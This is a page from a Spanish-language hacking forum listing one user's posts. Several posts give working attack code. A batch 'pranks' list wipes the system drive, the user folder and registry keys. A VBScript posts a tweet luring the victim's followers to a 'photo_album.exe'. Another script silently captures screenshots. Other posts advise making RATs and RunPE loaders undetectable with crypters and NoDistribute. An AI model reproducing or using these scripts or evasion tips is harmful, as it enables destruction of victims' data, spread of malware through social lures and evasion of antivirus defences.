Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - 79137913

#101
HOLA!!!

Te voy a pasar un ejemplo de compilacion on the fly con C# y You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

No hay muchos lenguajes que soporten esto pero si investigas encontraras.

GRACIAS POR LEER!!!
#102
Dudas y pedidos generales / Re:RunPE FUD?¿
Julio 12, 2018, 10:58:51 AM
HOLA!!!

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Ok, lo entiendo.

Me parece interesante tu respuesta en especial lo que comentas de otros métodos para ejecutar programas porque abre mucho el hilo. Supongo que te refieres a métodos para ejecutar lo que esté en memoria, ¿verdad? cifrar y descifrar a demanda... etc. Quizás me he ido por las ramas, ¿voy bien?, sería interesante conocer acerca de esto.

Gracias!

Para mi la mejor manera de ejecutar cosas es con compilacion en runtime. (ejecutar codigo on the fly)

GRACIAS POR LEER!!!
#103
HOLA!!!

Funcion (requiere un control Inet llamado Inet):
Código: vb

Private Function SubirFTP(ByVal URL As String , ByVal Usuario As String , ByVal Clave As String , ByVal RutaArchivoLocal As String , ByVal RutaArchivoRemoto As String) As Boolean
    On Error Goto ErrSubirFTP:
    With Inet1
        .UserName = Usuario
        .Password = Clave
        .Execute URL, "PUT " & RutaArchivoLocal & " " & RutaArchivoRemoto

        Do While .StillExecuting
            DoEvents
        Loop

        SubirFTP= (.ResponseCode = 0)
    End With
    Exit Function
ErrSubirFTP:
    SubirFTP = False
End Function


Para llamar a la Funcion:
Código: vb
UploadFile "ftp://tu.server.com", "Usuario", "Pass", "C:\ArchivoLocal.txt", "/Server/ArchivoRemoto.txt"


Para hacer un Debug del resultado de la subida:
Código: vb
Debug.Print UploadFile ("ftp://tu.server.com", "Usuario", "Pass", "C:\ArchivoLocal.txt", "/Server/ArchivoRemoto.txt")


Para hacer un Mensaje de texto del resultado de la subida:
Código: vb
MsgBox Iif(UploadFile ("ftp://tu.server.com", "Usuario", "Pass", "C:\ArchivoLocal.txt", "/Server/ArchivoRemoto.txt"), "Archivo Subido Correctamente", "Error - Archivo No Subido")


GRACIAS POR LEER!!!
#104
HOLA!!!

No entiendo que problema tiene el OCX para vos.

Aqui el codigo correcto para subir un archivo a FTP bien:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

GRACIAS POR LEER!!!
#105
Dudas y pedidos generales / Re:RunPE FUD?¿
Julio 11, 2018, 08:54:20 AM
HOLA!!!

Los RunPE suelen ser todos bastante parecidos, la forma de hacerlos FUD es usualmente ofuscacion de codigo y modding, la realidad es que no hay muchas maneras distintas de hacer un RunPe, usualmente lo mas comun es que se usen otros metodos para ejecutar programas.

GRACIAS POR LEER!!!
#106
HOLA!!!

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
HOLA!!!

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
CitarMy last relation  Was-Be-Will


¿Podrías explicarlo mejor, el Google Translator no lo entiende?

Quiso decir que su relacion Fue-Es-y Será por siempre

GRACIAS POR LEER!!!


No lo entiendo, francamente.

"Si fué entonces no es, y si es aún no será", no puede ser "no es y es" al mismo tiempo.

Vale, me has pillao, te casas con una hermana gemela y tienes a la otra por amante, "no es y es" al mismo tiempo.


Lo malo es el anillo, y que se te pille (hay cosas que no gustan).


8)

La expresion de "Es Fue y Sera" representa la eternidad es decir que dice  que su relacion es esterna.

GRACIAS POR LEER!!!
#107
Batch - Bash / [BATCH] Pranks
Junio 04, 2018, 11:53:44 AM
HOLA!!!

Les dejo una lista de Pranks (bromas pesadas) en BATCH:

1 Deshabilitar Mouse:
Código: dos
set key="HKEYLOCALMACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4_


2 Invertir Mouse:
Código: bash
Rundll32 user32,SwapMouseButton


3 Eliminar toda la carpeta del usuario que corre el script: [PELIGROSO, SIN ARREGLO]
Código: dos
del /f /q "C:\Users\%userprofile%\*.*"


4 Cambiar hora de la pc:
Código: dos
time 00:00


5 File Flood:
Código: dos
:start
echo Hola >>%random%.txt
goto start


6 Romper PC: [PELIGROSO, SIN ARREGLO]
Código: dos
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00


7 Error sos muy tonto, el sitstema se reiniciara para ver si no estas cuando vuelva:
Código: dos
msg * Error Fatal debido a la idiotez del usuario actual!
shutdown -c "Error! sos muy tonto, el sitstema se apagará para ver si no estás cuando vuelva!" -s -t 10


8 Destruir registro: [PELIGROSO, SIN ARREGLO]
Código: dos
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MSGX
ECHO Tu pc ha sido destruida, que tengas un gran dia!
GOTO MSGX


9 Ram Overflow con notepads:
Código: dos
:nuevo
START %SystemRoot%\system32\notepad.exe
GOTO nuevo


GRACIAS POR LEER!!!
#108
HOLA!!!

Muy bueno, me encanto el metodo que es facil y simple.

El ide... deja que desear XD.

GRACIAS POR LEER!!!
#109
HOLA!!!

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
CitarMy last relation  Was-Be-Will


¿Podrías explicarlo mejor, el Google Translator no lo entiende?

Quiso decir que su relacion Fue-Es-y Será por siempre

GRACIAS POR LEER!!!
#110
Off Topic / Re:Feliz cumpleaños 79137913
Junio 04, 2018, 09:41:02 AM
HOLA!!!

@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login Gracias por la imagen, me agrado mucho!

Y gracias a todos los que escribieron por aqui.

Pd: Mi cumple es el 02/06.

GRACIAS POR LEER!!!
#111
HOLA!!!

Pide los links por aqui.

Por lo pronto link a la hidden wiki
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

GRACIAS POR LEER!!!
#112
Dudas y pedidos generales / Re:RAT indetectable?
Abril 26, 2018, 03:38:46 PM
HOLA!!!

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Vamos, no hay un rat indetectable... Siempre depende de tu objetivo... En un laboratorio interno (tuyo)por ejemplo sería un objetivo.. entonces lo que deberías hacer es encriptar, leer sobre polimorfismo para sandboxing y ir subiendo por ejemplo a virustotal para ir probando lo te aclaro q si encriptas desde ya los antivirus que contienen heurística van a detectarlo y bajar su scoring.

Enviado desde mi SM-G610M mediante Tapatalk

@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login No le hagas caso a este sujeto, nunca subas un malware que programes a Virus Total, ellos distribuyen las muestras y aseguran que te detectaran el programa.
Mi recomendacion es usar NoDistribute

GRACIAS POR LEER!!!
#113
HOLA!!!

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
  Buenas! yo lo probe pero me devuelve la misma ip desde donde envio mi link al Script. Me estara faltando algo? :( :( :(

Eso es por que entraste vos y no el.
O la persona esta en tu misma red  ::) ::) ::)

GRACIAS POR LEER!!!
#114
Dudas y pedidos generales / Re:RAT indetectable?
Abril 25, 2018, 09:25:28 AM
HOLA!!!

Mira, RATs Publicos Indetectables no suelen existir. Mi recomendacion es que compres un Crypter Privado y lo cifres. O sino que pagues para que te desarrollen un Rat desde cero o compres un RAT privado con servicio de Cifrado incluido o polimorfia aguda.

GRACIAS POR LEER!!!
#115
HOLA!!!

Si, se puede, deberias hacer un repetidor de la señal que va en los RX y TX de los arduino (incluso podes intentar puentearlos  a ver si podes hacer subidas simultaneas).

En cuanto a hacerlo remoto si podes, la idea es que necesitas un dispositivo para enviar datos a los pines RX y TX y punto.

Aparte hay muchas placas orientadas a IOT que poseen actualizacion de codigo en la nube.

Averigualo.

El circuito para puentear los RX TX es el siguiente:

USB ->Arduino1
RXArduino1->RXArduino2->RXArduino3->RXArduino4

Y arduino 2,3,4 tienen que tener su propia fuente de alimentacion.

GRACIAS POR LEER!!!
#116
HOLA!!!

@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login debes ejecutar esto como administrador.

GRACIAS POR LEER!!!
#117
HOLA!!!

Really?

Esto no es un fallo de seguridad, es un problema de capa 8 inherente a la capacidad de compartir hipervinculos.

No puedo creer que alguien se atribuya eso como "encontrar un fallo de seguridad en whatsapp", esa tecnica existe hace mas de 20 años y existirá por 20 mas por lo menos.

GRACIAS POR LEER!!!
#118
HOLA!!!

Esto no puede ser mas facil. Si el usuario tiene logueado Twitter y ejecutamos este script enviara esto como twit a todos sus seguidores!

Código: vb
    Set WS = CreateObject("WScript.Shell")
    call tw_txt_spread("Acabo de publicar un album de fotos http://www.servidor.com/photo_album.exe")
     
    Function TW_TXT_Spread(X)
    Randomize
     
    WS.run "http://www.twitter.com"
    WScript.Sleep 6000
     
    WS.SendKeys "n"
    WScript.Sleep 800
    WS.SendKeys X
    WScript.Sleep 500
    WS.SendKeys "{TAB}"
    WScript.Sleep 500
    WS.SendKeys "^{ENTER}"
    End Function


GRACIAS POR LEER!!!
#119
HOLA!!!

ATENCION: Requiere Firefox / Chrome y ser ejecutado con permisos de admin.

Código: vb
'FUNCIONA SOLO SI LA PC POSEE FIREFOX/CHROME(CON CHROME CAMBIANDO LA LINEA DONDE DICE "FIREFOX.EXE" POR "CHROME.EXE")

Call ScreenShot("c:\web.html","c:\a.html")

Function ScreenShot(WebUrl, Output)
    With CreateObject("Word.Basic")
        .SendKeys "{1068}"
    End With
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    Set objFile = objFSO.CreateTextFile(WebUrl, True)
    objFile.Write "<script>function handlepaste () {myimage = ImageGrab.grabclipboard();}</script><body onload='handlepaste()'></body><div id='div' contenteditable='true' onpaste='handlepaste()'>Paste</div>" & vbCrLf
    objFile.Close
    On Error Resume Next
        CreateObject("Scripting.FileSystemObject").DeleteFile "c:\a.html"
    On Error GoTo 0
    Set wshshell = wscript.CreateObject("WScript.Shell")
    'antes de aca se podria poner una instruccion para que cerrara el proceso del Firefox
        wshshell.run "firefox.exe -Height 1 -Width 1 " & WebUrl 'Abre firefox en tama�o 1x1 
            wscript.sleep 5000
        wshshell.SendKeys ("{TAB}") 'entra a la web
            wscript.sleep 500
        wshshell.SendKeys ("+{INSERT}") 'pega el screenshot
            wscript.sleep 1000
        wshshell.SendKeys ("^s") 'guarda la pagina
            wscript.sleep 500
        wshshell.SendKeys (Output) 'pone el path
            wscript.sleep 1000
        wshshell.SendKeys ("{ENTER}") 'confirma el guardado
    'aca se podria matar a la ventana del firefox abierta para no dejar rastos.
End Function


GRACIAS POR LEER!!!
#120
HOLA!!!

Aqui una serie de funciones para codificar y decodificar base64 de y a texto y de y a stream binario.

Código: vb
Function Base64Encode(sText)
    Dim oXML, oNode

    Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
    Set oNode = oXML.CreateElement("base64")
    oNode.dataType = "bin.base64"
    oNode.nodeTypedValue =Stream_StringToBinary(sText)
    Base64Encode = oNode.text
    Set oNode = Nothing
    Set oXML = Nothing
End Function

Function Base64Decode(ByVal vCode)
    Dim oXML, oNode

    Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
    Set oNode = oXML.CreateElement("base64")
    oNode.dataType = "bin.base64"
    oNode.text = vCode
    Base64Decode = Stream_BinaryToString(oNode.nodeTypedValue)
    Set oNode = Nothing
    Set oXML = Nothing
End Function

Function Stream_StringToBinary(Text)
  Const adTypeText = 2
  Const adTypeBinary = 1
  Dim BinaryStream 'As New Stream
  Set BinaryStream = CreateObject("ADODB.Stream")
  BinaryStream.Type = adTypeText
  BinaryStream.CharSet = "us-ascii"
  BinaryStream.Open
  BinaryStream.WriteText Text
  BinaryStream.Position = 0
  BinaryStream.Type = adTypeBinary
  BinaryStream.Position = 0
  Stream_StringToBinary = BinaryStream.Read
  Set BinaryStream = Nothing
End Function

Function Stream_BinaryToString(Binary)
  Const adTypeText = 2
  Const adTypeBinary = 1
  Dim BinaryStream 'As New Stream
  Set BinaryStream = CreateObject("ADODB.Stream")
  BinaryStream.Type = adTypeBinary
  BinaryStream.Open
  BinaryStream.Write Binary
  BinaryStream.Position = 0
  BinaryStream.Type = adTypeText
  BinaryStream.CharSet = "us-ascii"
  Stream_BinaryToString = BinaryStream.ReadText
  Set BinaryStream = Nothing
End Function


GRACIAS POR LEER!!!